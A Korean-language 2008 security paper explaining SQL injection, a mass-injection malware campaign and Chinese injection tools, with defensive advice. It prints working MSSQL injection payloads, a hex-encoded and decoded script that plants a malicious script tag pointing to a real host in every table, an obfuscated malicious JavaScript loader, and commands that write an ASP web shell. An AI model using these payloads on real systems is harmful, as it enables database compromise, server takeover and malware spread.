written by c0ck3dpist0l (c0ck3dpist0l@gmail.com) Published : 07.2008 ( 수정판) Abstract 본문서는 2008년 6월 6일첫번째판을수정하여만든 2008년 07월 18 일수정판입니다. 본문서는영리를목적으로사용및배포를금지합니다. 본문서는많은자료들을참고하고만들었습니다. 저작권에위배되는사항이있으면해당부분을삭제하겠습니다. < 참고자료> SKInfosec 침해대응팀 China Bot( 가칭) 악성코드분석 SKInfosec 김동규님 침해대응팀 Mass Sql-injection Art of SQL Injection For MS-SQL 방립동님 Blind Sql Injection - MySQL 5.0 Mitchell Harper David Litchfield Kevin Spett AnalyseR Blind Sql injection 취약점을통한악성스크립트삽입형태분석 Data-mining with SQL Injection and Inference SQL Injection Are your Web Application Vulnerable? Error based SQL Injeciton 금융ISAC실침해사고대응팀 HBSI,NBSI 매뉴얼 r3dcat Web Malware Encoding 문서를만들기까지여타의수많은블로그, 카페자료, 인터넷웹문서에감사를표합니다. 본문서에대한질문사항이잘못된부분이있으면언제든지이메일로연락부탁드립니다.
TABLES OF CONTENTS 1. Overview and introduction to SQL injection 1.1 Overview about SQL injection 1.1.1 Error based SQL injection 1.1.2 Stored Procedure SQL injection 1.1.3 Blind SQL injection 1.1.4 A Sort of DB Authentication 1.1.5 SQL injection variation 2. What is an Mass SQL injection 2.1 Mass SQL injection Concept 2.2 How to attack Mass SQL injection : flow 2.3 log analysis of infected website with Mass SQL injection 2.4 Analysis of Mass SQL injection used Tool 2.4 What should I do as an user to protect myself? 3. Did you use that DB Penetration Tool? 3.1 NBSI ( 금융ISAC실침해사고대응팀 HBSI,NBSI 매뉴얼참고) 3.1.1 what is an NBSI 3.1.2 attack code to website 3.2 MatriXay 3.2.1 What is an MaxtriXay 3.2.2 attack code to website 3.3 Pangolin 3.3.1 What is an Pangolin 3.3.2 attack code to website 4. comprehensive countermeasures against the tool
1. Overview and introduction to SQL injection 1.1 Overview about SQL injection SQL injection은정상적인 SQL 질의문을변조하여불법로그인, DB 데이터열람, 시스템명령실행 등을수행하는공격으로써사용자입력값또는 URL 파라미터값에대한적절한검증작업이이루어지지않아발생한다. DB 와연결이되는지살펴보는방법은파라메타의입력값에싱글쿼터같은특수문자를삽입하여서버측의에러메세지를 확인하면된다. 검증대상서버가공격에무방비로노출이된경우쉽게이러한정보를확인할수있을것이다. 서버측에 서이러한에러메시지, 즉 500에러에대한페이지를노출시키지않도록설정되어있더라고잠재적인공격의가능성은남 아있다. 이것은 blind sql injection 공격이라하여, 쿼리구문을서버측으로전송할때 Response 되는반응을살펴보며 공격이가능한지에대해분석할수있다. SQL injection은 DBMS의영향을많이받음으로써일반적으로가장많은공격 의대상이되는 MySQL과 MS-SQL 이며, Oracle과 informix같은 DBMS의경우에는많이알려져있지않는것으로보고 되고있다. SQL 의작동원리로는다음과같다. ( 적절한사진을구하지못했어요,,_-;;) 일반적인 SQL Generator 와 PL/SQL 을이용한차이점에대해서간략하게설명하겠습니다. < 일반 SQL Generator> - 처음으로수행시 1. 구문분석(Parsing) 2. 표준화(Standardization) 3. 보안점검 4. 최적화(Optimize) 5. - 컴파일 반복수행시 1. 처음수행한일반 SQL 구문의실행계획이캐싱되어 있는지확인한후수행. 2, 캐싱되어있지않았을경우처음 5단계를다시수행 <PL/SQL> - 생성시 1. 구문분석(Parsing) 2. 표준화(Standardization) 3. 보안점검 4. 해당 Procedure의구문과생성정보를 syscomments - 1. 2. 와 sysobject 에저장. 처음으로수행시 보안점검 최적화 3. 컴파일후에수행계획(execution plan) 을생성후 캐시에저장. - 반복수행시 1. 실행계획이캐싱된지확인후실행 2. 캐싱에없을경우처음부터다시수행
<SQL Query 문실행도> SQL injection 공격은 Error based, Stored Procedure, Blind SQL injection으로크게 3 가지로구분되어진다. 다음 그림은 SQL injection 공격에 flow chart 이다. <SQL injection Flow Chart> < 김동규님 Art of SQL Injection For MS-SQL 참고>
1.1.1 Error based SQL injection Error based SQL injection이란 DB 정보를획득할수있는방법을의미한다. DB에에러메시지나에러값을기반으로한단계씩점진적으로 *Microsoft OLE DB Provider for SQL Server 오류 '80040e14' *Internal Server Error 500 다음중 ' 나 " 을삽인한경우한개라도위와같은에러메세지를보인다면 Error based SQL injection 공격으로 DB에관 한정보를확인할수있다. 다음은해당화면이다. 필자는 MySQL을이용하여테스트하였으며 DBMS 마다다른표현방식으로추측을할수있다. <<SQL server의 version 확인>> 'and 1 =(select @@version) => version ----------------------------------------------------------------- <<DB_Name 을확인>> 'and(char(94)+db_name()+char(94))>0-- 'and0<>db_name()-- => DB_Name 확인 을확인 ----------------------------------------------------------------- <<DB 접속계정확인>> 'And char(94)+user+char(94)=0-- 'and user>0-- => DB 접속계정확인 ----------------------------------------------------------------- <<System 내의 DB 명을확인>> 'and 1=(select name from master.dbo.sysdatabases where dbid=7)-- ==> dbid가 1~6 까지는고정으로들어간것임.7~ 그이상으로확인할수있음. ----------------------------------------------------------------- <<User 테이블확인>> 'and 0<>(select top 1 name from [DB Name].[DB 접속계정].sysobjects where xtype=char(85))-- ==> xtype=char(85) 를줌으로써사용자가생성한테이블만확인할수있음. ----------------------------------------------------------------- <<Union 쿼리를이용한에러메세지공격>> 'union 1,2,3,4-- 또는 union 1,2,3,4,5,[n 개...] => 컬럼개수를무차별적으로대입하여추정함. 'union 1,2,3,4,5,convert(text,'a')-- => 등으로호환시켜줘야됨. 'union select all 1,2,3,4,[n 개...],convert(text,'a')-- => select all 을활용할수도있음. 'union select all '','','','','',['' 을 n 개수만큼]-- ==> 최종완성 union 쿼리 ----------------------------------------------------------------- <<Union 쿼리를이용한에러메세지공격 - 시스템내모든 DB Name 확인>> 'union all select '',name,'','','',['' 을 n 개수만큼] from master..sysdatabases-- 1.1.2 Stored Procedure SQL injection 저장프로시저(Stroed Procedure) 는일련의쿼리를마치하나의함수처럼실행하기위한쿼리의집합이다. 저장프로
시저는웹사이트의성능과보안을동시에높여주는효과를가지고있다. 특히보안적인측면에서 DB 연결시저장프로 시저를사용하게되면보안을강화할수있다. 저장프로시저는 MSSQL에국한되어사용되는것으로써공격에자주사용 되는저장프로시저로는 xp_cmdshell, sp_makewebtask 라고할수있다. 저장프로시저에는몇가지종류로나누어져있다. 그중 sp 로시작되는프로시저는 시스템저장프로시저 로서 SQL 서 버에미리저장되어사용되는프로시저들이주로이에해당하는것으로거의대부분이 master 있다. xp 로시작되는건 확장프로시저 로서 SQL 에서구현하기힘든것들을구현하기위해사용된다. 저장프로시저의사용이보안이강화되는이유는각각의프로시저에대한접근권한을설정할수있 데이터베이스에저장되어 기때문이다. 역으로웹사이트에서 SA로 DB 에접근한다던지, 접근권한에대한보안이이루어지지않는경우심각한위 협에노출될수있다. 일반적인공격절차로써는다음과같다. < 김동규님 Art of SQL Injection For MS-SQL 참고> 1.1.3 Blind SQL injection 일반적인 SQL injection 공격을막기위해서는사용자가입력한질의에대해불필요한에러 페이지를노출시키지않는것이좋다. 그러나이러한방법또한최선의선택은아니라고할수있는데, 이러한해결방법은 바로 Blind SQL injection 공격을통해우회가가능하다. Blind SQL injection 이란마치장님이손으로더듬듯이, 알아내고자하는정보의답변을미리대략적으로예측해서 그것이참인지거짓인지를질의하고, 서버의반응으로참/ 거짓여부를판단하면서참이될때까지시도함으로서정보를 알아내는방법이다. 이방법을통하여데이터베이스의테이블이름, 칼럼이름등의정보를알아내는것이가능하다. i. Blind SQL injection 공격은참/ 거짓으로구분지어공격하는방식이다. 출력시나오는다른출력값을이용 ' and condition ii. IF 문을사용 and '1'='1 '; if condition waitfor delay '0:0:5' --
'; union select if( condition, benchmark (100000, sha1('test')), 'false' ),1,1,1,1; iii. 추가적으로우리는모든타입의 Query 를실행할수있지만, 출력된정보에대해디버깅할수는없다. 우리는단지 yes/no 응답을얻을수있다. 또한, 특정필드의데이터에대한 ASCII 값을추출할수있다. 매우까다로운작업이지만, SQueaL 과같은자동화된툴도있다. i. SELECT 명령문 - 대부분의 Injection은 SELECT 명령을이용한다. SELECT * FROM table WHERE x = 'normalinput' group by x having 1=1 -- GROUP BY x HAVING x = y ORDER BY x ii. UPDATE 명령문 - 아래와같이웹애플리케이션에서당신의패스워드부분을수정할수있다. UPDATE users SET password = 'new password' WHERE login = logged.user AND password = 'old password' 대부분의경우에러메시지는어떤 DB 엔진을사용하는지출력한다. ODBC에러는 DB 타입 ( 드라이브정보의 부분으로써) 을나타낸다. 만약에 ODBC 에러가발생하지않으면, 어떤 OS와 Web Sever를사용하지를추측해야하거나 특별한 DB 문자, 명령어, 저장된프로시저를통한에러메시지를사용해야한다. <advanced sql injection 참고> <advanced sql injection 참고> 1.1.4 A Sort of DB Authentication IS_SRVROLEMEMBER ( 서버역할 ) sysadmin SQL Server 에서모든작업을수행. 역할의권한은모든다른고정서버역할에걸쳐배치. serveradmin 서버차원의설정을구성. setupadmin 연결된서버를추가/ 제거하고 sp_serveroption 등의일부시스템저장프로시저를실행. securityadmin 서버로그인을관리. processadmin SQL Server 인스턴스에서실행중인프로세스를관리. dbcreator 데이터베이스를만들고대체. diskadmin 디스크파일을관리. bulkadmin BULK INSERT 문을실행. IS_MEMBER ( DB 역할 ) db_owner DB 내에서의유지관리및구성작업등모든 DB 역할의작업을수행. 권한은모든다른서버에걸쳐배치. db_accessadmin Win NT 4.0 또는 Win 2000 그룹과사용자및 SQL Server 사용자를데이터베이스에추가하거나제거. db_datareader 데이터베이스의모든사용자테이블에서모든데이터를봄. db_datawriter 데이터베이스의모든사용자테이블에서데이터를추가, 변경또는삭제. db_ddladmin 데이터베이스에서개체를추가, 수정또는삭제하고모든 DDL 을실행. db_securityadmin SQL Server 데이터베이스역할과그구성원을관리하고데이터베이스에서명령문과개체사용권한을관리. db_backupoperator 데이터베이스백업권한. db_denydatareader 데이터베이스에서데이터를선택하는권한을거부. db_denydatawriter 데이터베이스에서데이터를변경하는권한을거부. 1.1.5 SQL Injection variation 필자는 SQL Injection 변화추세에관한많은자료를네이버형님에게도물어보고구글신에게도물어보았지만이렇다할자료를찾아내지못했다. 몇일을검색하다가구글신께서지시해준상황은다음과같이결론지어졌다.
Paramterized Queries Escape Sequence 1 세대 Quoting Quries 2 세대 3 세대 Avoid Dynamic SQL 4 세대 2. What is an Mass SQL injection 2.1 Mass SQL injection Concept Mass SQL injection 공격이란 MSSQL 2005 에취약점을이용하여공격하였다거나, 자동화툴을이용하여 DIY 방식으로 SQL injection 공격을통해공격을하였다거나, 등등의방법론이제시되고있지만내가생각하기엔악성코드를설치하려는 스크립트를 SQL injection 을통해수행되고있는공격이라는것이다. 확실한것은 Microsoft에서제공하는 MSSQL을타 겟으로하고있다는것과 SQL injection 쿼리가 http:// 악성코드가있는 URL" 등으로취약점이있는모든필드에업데이 트를하고있는형태로공격이되고있음은확신할수있고이러한행동을하기위해서는 Stored Procedure injection 공격을이용하였다는 것을알수있다. 2.2 How to attack Mass SQL injection : flow Mass SQL injection 의공격흐름도이다. Remote Unused Functions Blind SQL injection 공격과 2.3 log anlalysis of infected website with Mass SQL injection 실제로 Mass SQL injection 공격을당한 IIS 로그를확보하여예를보여주고분석을해보겠다.
<Before Decoding> DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C00410052004500200040005400200076006100 72006300680061007200280032003500350029002C00400043002000760061007200630068006100720028003200350 03500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F00720020 0043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D00 65002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A0065006300740073 00200061002C0073007900730063006F006C0075006D006E0073002000620020007700680065007200650020006100 2E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D002700750027 00200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E0078007 4007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F00 7200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C 0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004 D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0 04000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D 0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B002 7002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720 069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B0040004 3002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740 070003A002F002F007700770077002E00720069007200690077006F0077002E0063006E002F00690070002E006A007 3003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E0045005800 54002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054 004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C006500 5F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065 005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC(@S);-- <After Decoding> DECLARE @T varchar(255),@c varchar(255); DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype= 231 or b.xtype=167) OPEN Table_Cursor;FETCH NEXT FROM Table_Cursor INTO @T,@C;WHILE(@@FETC H_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src= http://www.ririwow.cn/ip.js></script>''' FETCH NEXT FROM Table_Cursor INTO @T,@C;END CLOSE Table_ Cursor;DEALLOCATE Table_Cursor; <Mass SQL 공격구문해석> /* T와C에대한 SQL 영역을생성. */ DECLARE @T varchar(255),@c varchar(255); /* Table_Cursor라는이름으로 CURSOR 를선언하고있다. 여기서 CURSOR FOR 루프사용하면서한번반복될때 마다행이인출된다. CURSOR는모니터에해당위치를알려주고그곳에입력을대기중이라고깜빡거리는것을나타낸 다. 같은맥락으로 PL/SQL에서커서는메모리상에서 SQL 문이실행되는위치를가리킨다.*/ DECLARE Table_Cursor CURSOR FOR /* a와 b테이블의 name 행을참조*/ select a.name,b.name /* sysobject테이블을 a 로선언, syscolumns테이블을 b 로선언*/ from sysobjects a, syscolumns b /* 조건부분이다. 여기서 xtype='u' 는유저테이블을의미한다. */ where a.id=b.id and a.xtype='u' and
/*xtype이 99,35,231,167인것은각각 ntext,text,nvarchar,varchar 을의미한다. (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) /* OPEN문은 CURSOR 를열어주고질의를시행하여결과집합을식별한후커서를첫번째행앞으로위치시킨다.*/ OPEN Table_Cursor; /* FETCH문은 CURSOR 를인출하고현재행(row) 을검색하고지정한조건(empty) 이만족할때까지커서를다음행 (row) 으로이동시킨다. */ FETCH NEXT FROM Table_Cursor INTO @T,@C; /* 실행문으로써조건이명시되어있다. CURSOR가있는프로시저내에서 WHILE을사용함으로써 FETCH_STATUS 에반환값(0) 을확인한다. FETCH_STATUS는 -2,-1,0 을반환한다. 또한 BEGIN...END 문이다. */ WHILE(@@FETCH_STATUS=0) BEGIN exec( /* 갱신문(update ~ set ~) 으로써 update 테이블명 set 속성명 = 데이터[, 속성명= 데이터] */ 'update ['+@T+'] set ['+@C+']= /* rtrim() 함수는값의오른쪽에있는모든공백을잘라낸다. convert() 함수는형식을변환하는것이다. convert( 변환 형태, 변환할값, 스타일) 로사용한다. cast문도 convert 문과비슷하게쓰인다. */ rtrim(convert(varchar,['+@c+']))+ /* 다음과같은 <scripit>blah~blah~/<script> 문으로 DB 를변환시킨다. */ ''<script src=http://www.ririwow.cn/ip.js></script>''' ); /* FETCH문은 CURSOR 를인출하고현재행(row) 을검색하고지정한조건(empty) 이만족할때까지커서를다음행 (row) 으로이동시킨다. */ FETCH NEXT FROM Table_Cursor INTO @T,@C; /* 마지막행(row) 까지처리되었으면 CURSOR 를닫는다. */ END CLOSE Table_Cursor; /* DEALLOCATE문은 TABLE, INDEX, CLUSTER 등의 DATABASE OBJECT들의입력되는자료의양이증가함에 따라서새로운 EXTENT들이자동으적으로할당되는데이때필요이상과도한크기의 EXTENT가할당되면실제로 자료가들어있지않거나들어갈예정이없는죽은공간이만들어짐으로써 을제거하는방법이다. CURSOR 를메모리상에해제하고있다. */ DEALLOCATE Table_Cursor DISK 전체의사용효율을저하시키는원인 이 SQL 구문은 sysobject 테이블에서 type U(User) 테이블의모든행을가져오는것이다. 각오브젝트에 www.ririwow. cn/ip.js 사이트주소코드를추가하도록 update 명령을실행시키는구문이다. 이공격을받은웹사이트는 IIS와 MS SQL 서버가설치된경우이다. 특히주목할것이바로 Evading을하기위해서 CAST나 CONVERT 명령어를쓴다는데주 목해야한다.
< 공격형태분석> DB 테이블중에서 TEXT 형태로된컬럼을찾아서 <script src=ririwow.cn/ip.js></script> 를추가한다.varchar nvarchar text ntext 형태의컬럼에는 <script src=ririwow.cn/ip.js></script> 이추가되며문제는모든테이블의컬럼 에적용이된다는것이다. 해당스크립트안에는아래와같이되어있다. nvarchar(4000) 같은경우큰바이트를삽입할 때공간을할당해주는것으로써큰값을 insert 나 update 할수있다.(MSSQL2005 부터제공) document.writeln("<iframe width=\'10\' height=\'1\' src=\'http:\/\/www.ririwow.cn\/1.htm\'><\/iframe>"); iframe에는다시각각의취약점별로공격하는 iframe 을실행합니다. document.write("<iframe width=""10"" height=""10"" src=""hxxp://www.ririwow.cn/real.gif""></iframe>") document.write("<iframe width=""5"" height=""5"" src=""hxxp://www.ririwow.cn/yahoo.php""></iframe>") document.write("<iframe width=""5"" height=""5"" src=""hxxp://www.ririwow.cn/cuteqq.htm""></iframe>") document.write("<iframe width=""5"" height=""5"" src=""hxxp://www.ririwow.cn/ms07055.htm""></iframe>") document.write("<iframe width=""5"" height=""5"" src=""hxxp://www.ririwow.cn/ms07033.htm""></iframe>") document.write("<iframe width=""5"" height=""5"" src=""hxxp://www.ririwow.cn/ms07004.htm""></iframe>") document.write("<iframe width=""0"" height=""0"" src=""hxxp://www.ririwow.cn/ajax.htm""></iframe>") document.write("<iframe width=""0"" height=""0"" src=""hxxp://www.ririwow.cn/ms06014.htm""></iframe>") <Mass Sql-injection 취약점을통한악성스크립트삽입형태분석참고> < 필자가구한또다른형태의공격형태분석 (b.js) > { window.status=""; var cookiestring = document.cookie; var start = cookiestring.indexof("updatebng="); if (start!= -1){}else{ var expires = new Date(); expires.settime(expires.gettime()+12*1*60*60*1000); document.cookie = "updatebng=update;expires="+expires.togmtstring(); try{ </iframe>"); }catch(e) {}; } document.write("<iframe src=http://adwste.mobi/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0> <adwste.mobi/cgi-bin/index.cgi 에접근하여획득한 index.html> 이부분을문서에포함하고완성하는데많은도움을주신 securityplus 와방립동님, r3dcat 님감사합니다. 자세한부분 은 r3dcat님의 Web Malware Encoding 분석문서를참고하세요. 참고로저는 decoding 하는과정중에제업무와신 분의특성상인터넷을특정이상으로만질수없어서 r3dcat 님의문서를확인하고다른파일로테스트해보았습니다. 시 간이되신다면원본파일을구하셔서디코딩을해보시는것도나쁘지않을것같습니다. function r4lr7fs3i(xrt5t1i27, vj0t3e1xg){var O37x6msj4 = arguments.callee;var xbg34hiib = 4294967296;O37x6msj4 = O37x6msj4.toString();O37x6msj4 = O37x6msj4 + location.href;var iml3tqjbx = eval;var O0dPXyGGc = O37x6msj4.replace(/\W/g, "");O0dPXyGGc = O0dPXyGGc.toUpperCase();var YDwG8HQ7x = new Array;for(var Y0R5162T4 = 0;Y0R5162T4 < 256; Y0R5162T4++) {YDwG8HQ7x[Y0R5162T4] = 0;}var gc0aak52c = 1;for(var Y0R5162T4 = 128; Y0R5162T4; Y0R5162T4 >>= 1){gC0aaK52C = gc0aak52c >>> 1 ^ (gc0aak52c & 1? 3988292384 : 0);for(var OUKPpcET1 = 0; OUKPpcET1 < 256; OUKPpcET1 += Y0R5162T4 * 2){var NsU6jxxJt = Y0R5162T4 + OUKPpcET1;YDwG8HQ7x[NsU6jxxJt] = YDwG8HQ7x[OUKPpcET1] ^ gc0aak52c;if (YDwG8HQ7x[NsU6jxxJt] < 0){YDwG8HQ7x[NsU6jxxJt] += xbg34hiib;}}}var D6RLFRW4L = xbg34hiib - 1;for(var Mj64y6kf4 = 0; Mj64y6kf4 < O0dPXyGGc.length; Mj64y6kf4++) {var Rh4pfb5u1 = (D6RLFRW4L ^ O0dPXyGGc.charCodeAt(Mj64y6kf4)) &
255;D6RLFRW4L = (D6RLFRW4L >>> 8) ^ YDwG8HQ7x[Rh4pfb5u1];}D6RLFRW4L = D6RLFRW4L ^ (xbg34hiib - 1);if (D6RLFRW4L < 0){D6RLFRW4L += xbg34hiib;}d6rlfrw4l = D6RLFRW4L.toString(16).toUpperCase();while(D6RLFRW4L.length < 8){D6RLFRW4L = "0" + D6RLFRW4L; }var h34t5sluv = new Array;for(var Y0R5162T4 = 0; Y0R5162T4 < 8; Y0R5162T4++){h34t5sluv[Y0R5162T4] = D6RLFRW4L.charCodeAt(Y0R5162T4);}var Ey2kpNf23 = "";var M2ofkei71 = 0;for(var Y0R5162T4 = 0; Y0R5162T4 < Xrt5t1i27.length; Y0R5162T4 += 2){var NsU6jxxJt = Xrt5t1i27.substr(Y0R5162T4, 2);var FpYBc133e = parseint(nsu6jxxjt, 16);var ctgns6l03 = FpYBc133e - h34t5sluv[m2ofkei71];if(ctgns6l03 < 0){ctgNs6l03 = ctgns6l03 + 256;}Ey2kpNf23 += String.fromCharCode(ctgNs6l03);if(M2ofkei71 + 1 == h34t5sluv.length){m2ofkei71 = 0;} else{m2ofkei71++;}}var BcHsiP1e0 = 0;try{iML3TQJbX(Ey2kpNf23);}catch(e){BcHsiP1e0 = 1;}try{if (BcHsiP1e0){window.location = "/";}} catch(e){}} </script> </head> <body onload="r4lr7fs3i('a7ada399aca1b2b061b06598686c8c78ba695d798468738778a067a96458ad95b59a6d696a80776 bbcae96a8589d8ca88e8f7f85a56c637f6199a79dada5a8b0b5ab639999a4afa7a673ab97aa58a68fb08867696e99ba627e58.. ( 생략). 83686c6a716Ea478826d6e999A68A4777899969b717Da4747A716A7c9971A578a270776b707e8476777C6d6f6E7A7A85756C6 a667a6a7775749e5c5f73')"> </body> </html> 2.4 Analysis of Mass SQL injection used Tool 아래에사진은악성스크립트삽입코드 SQL injection 한홈페이지를찾아서감염시키기위한자동화툴이다. 공격을자동화로만들어주는툴이며구글을이용해서자동으로취약 위에자동화 SQL Injection 툴은 ATI(AMD) 프로그램아이콘을사용하는것이특이하며, Form Caption 을 CLI 로사용하 였다. Embedded Web Browser (http://bsalsa.com) 를사용하며, Google 에서 inurl:".asp" inurl:"b=" 과같은쿼리를이 용하여취약한사이트를찾게된다. 위와같은자동화툴은아래와같은공격을시도하게된다.
DECLARE @T varchar(255),@c varchar(255); DECLARE Table_Cursor CURSOR FOR; select.name,b.name; from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and < 일부제거> FETCH NEXT FROM Table_Cursor INTO @T,@C; WHILE(@@FETCH_STATUS=0) BEGIN exec( 'update ['+@T+'] set ['+@C+']= rtrim(convert(varchar,['+@c+']))+ ); ''< 악성코드>''' FETCH NEXT FROM END CLOSE Table_Cursor; DEALLOCATE Table_Cursor ; DECLARE @S NVARCHAR 4000); Table_Cursor INTO @T,@C; SET @S=CAST( AS NVARCHAR(4000)); EXEC(@S);-- Obfuscate Attack 을하기위해서 CAST 구문과 convert 구문을이용하여탐지를회피하는데사용한다. 다음은 Joe stewart가분석한 win32 console 로구성된자동화툴이다. mssctnr32.exe 파일은 command 명령어와함께악성코드스크립트파일을지정해주고취약한특정서버에공격을가하
는프로그램이다. 내부에 string값을 DECLARE 문을사용하면서비슷한코드를삽입하게된다. 2.5 What should I do as an user to protect myself? 1) DECLARE 구문을이용한공격을차단하기위해서는웹소스상에서쿼리스트링에대한길이제한적용을하셔야합니다. 대부분소스작성시쿼리스트링값의제한을적용하지않는경우가많다. 따라서웹개발자와상의하여쿼리스트링길이값에 대한제한을적용해야한다. <IDS 에서탐지해야할문구> @S=CAST(0x DECLARE @ SET <F/W> 기존에보도된감염된사이트를차단하고보도된악성스크립트를차단하고새로얻게된악성스크립트를분석해야한다. 2) MSSQL2005에대한보안패치적용과 SQL-Injection 에취약점이있으며중. 장기대책으로이에대한소스코드에수정해야한다. 3) 정기적인DB및시스템백업필요 <Mass SQL injection을공격당하여서해당 DB 를복구해야할경우> DECLARE @T varchar(255), @C varchar(255); DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table_Cursor; FETCH NEXT FROM Table_Cursor INTO @T, @C; WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update ['+@T+'] set ['+@C+'] = left( convert(varchar(8000), ['+@C+']), len(convert(varchar(8000), ['+@C+'])) - 6 - patindex(''%tpircs<%'', reverse(convert(varchar(8000), ['+@C+']))) ) where ['+@C+'] like ''%<script%</script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C; END; CLOSE Table_Cursor; DEALLOCATE Table_Cursor;
3. Did you use that DB Penetration Tool? 3.1 NBSI 3.1.1 what is an NBSI 2.0버전에서는왼쪽좌측에서우측으로 9개의메뉴로구성됨 1 网站扫描 ( 웹사이트스캔) : 주소를입력하여 SQL Injection이가능한 URL을스캐닝 2 注入分析 ( 주입분석) : 데이터베이스명, 테이블명, 필드명, 각데이터의값등을찾아내조작할수있음. 3 扫描及工具 ( 스캔도구) : 하위 5개메뉴로구성됨 - 后台管理地址扫描 ( 관리자페이지주소스캔) - Access 数据库地址扫描 (Access 데이터베이스주소스캔) - Commander 命令执行器 ( 커맨드명령실행기) - TreeList 目录列表工具 (TreeList 목록리스트도구) - RegReader 注册表读取 (RegReader 레지스트리등록) 3.1.2 attack code to website /* DB 접근권한확인 */ and user+char(124)=0 ' and user+char(124)=0 and ''=' %' and user+char(124)=0 and '%'=' And 1=1 And 1=2
And (Select Count(name) from [master]..[sysobjects])>0 And (Select Top 1 char(65) from [master]..[sysobjects])>0 And len(system_user)<=16 And len(system_user)>8 And len(system_user)>12 And len(system_user)>10 And len(system_user)>9 And UNICODE(substring(system_user,1,1)) BETWEEN 1 And 256 And UNICODE(substring(system_user,1,1))>128 And UNICODE(substring(system_user,1,1))>64 And UNICODE(substring(system_user,1,1))>112 And UNICODE(substring(system_user,1,1))>104 And UNICODE(substring(system_user,1,1))>100 And UNICODE(substring(system_user,1,1))>98 And UNICODE(substring(system_user,1,1))>97 /* 해당공격 DB에관한 SA 권한을확인 */ ;declare @a-- And (Select Count(user) from [kyu].[dbo].[blahblah])>=0 And (Select Count(user) from [kyu].[dbo].[blahblah])>=0 And (Select Count(user) from [kyu].[dbo].[blahblah])>=0 convert(int,(select IS_SRVROLEMEMBER(0x730079007300610064006D0063006D00))) ' and (select IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00))>0 ' and cast(is_srvrolemember(0x730079007300610064006d0069006e00) as varchar(1))+char(124)=1 and "=' ' and 1=(SELECT IS_SRVROLEMEMBER('sysadmin')) ' and 1=(SELECT IS_SRVROLEMEMBER('serveradmin')) ' and 1=(SELECT IS_SRVROLEMEMBER('securityadmin')) /* 확장프로시져를이용한공격 */ /* xp_cmdshell Procedure Check */ * select count(*) from master.dbo.sysobjets where xtype='x' and name='xp_cmdshell' * select count(*) from master.dbo.sysobjets where xtype='x' and name='xp_availablemedia' * select count(*) from master.dbo.sysobjets where xtype='x' and name='xp_dirtree' /* Available media Check */ * create table drives(name nvarchar(10),low int,high int,type int) * insert drives exec xp_availablemedia /* Path Table 생성 */ create table dirs(paths nvarchar(4000),id int); /* Path 정보입력 */ insert dris(paths) exec master.dbo.xp_dirtree 'c:\'; /* Path 정보확인 */ * convert(int,(select Top 1 CASE WHEN paths is NULL then char(124) else paths+char(124) End from (select id,paths from [dirs] T where paths > 'Documents and Settings'))
* 'and (select top 1 paths from dirs)>0 * 'exec sp_makewebtask "c:\interpub\wwwroot\dir.txt","exec xp_dirtree 'c:\'" Web Shell Table 생성 create table cmd(str nvarchar(1000)) Web Shell source 입력 insert into cmd(str) values ('<%response.write server.createobject("wscript.shell").exec("%comspec%/c "&request("cmd")).stdout.readall%>') Web Shell 파일생성 exec sp_makewebtask 'c:\inetpub\wwwroot\cmd.asp', 'select * from cmd ' xp_cmdshell 이용한 WebShell 생성 exec xp_cmdshell ' echo "<%response.write server.createobject("wscript.shell").exec("%comspec%/c "&request("cmd")).stdout.readall%>" >> c:\inetpub\wwwroot\webshell.asp'
3.2 MatriXay 3.2.1 What is an MaxtriXay 류광을만들던중국해커가 DBAppsecurity라는정식회사에참여해서만든첫상용보안제품으로기존의웹스캐닝과는 차별되게주로 SQL injection 위주의취약점을찾아주는제품이다. 오라클, DB2, MSSQL, MySQL 등다양한 RDBMS 제품의 SQL Injection 취약점을찾아주는제품으로특히오라클 SQL Injection 취약점도잘찾아주는거같다. 필자가테 스트해본툴은 Free Beta release tester 제품이라서일부기능이구현되지않았고패턴도부족한상태로테스트하였 다. 확실한것은기존의 Blind SQL Injection 자동화툴보다훨씬많은것을구현해준다는것이다. 3.2.2 attack code to website 필자는 MSSQL과 IIS 를연동하여만든테스트베드를가지고직접테스트해보았다. MatriXay는 bruteforcing을주공격 으로하고있기때문에로그를보는것이힘들었다. 그래서수만줄에로그중필요하다고생각하는것들만축출해서내 용에집어넣었다.
